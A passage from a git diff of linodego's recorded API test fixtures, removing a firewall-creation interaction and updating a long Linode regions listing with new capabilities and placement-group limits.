lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerNode_Update.yaml b/test/integration/fixtures/TestNodeBalancerNode_Update.yaml index 51ef3bc6e..8d58223fd 100644 --- a/test/integration/fixtures/TestNodeBalancerNode_Update.yaml +++ b/test/integration/fixtures/TestNodeBalancerNode_Update.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228211, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 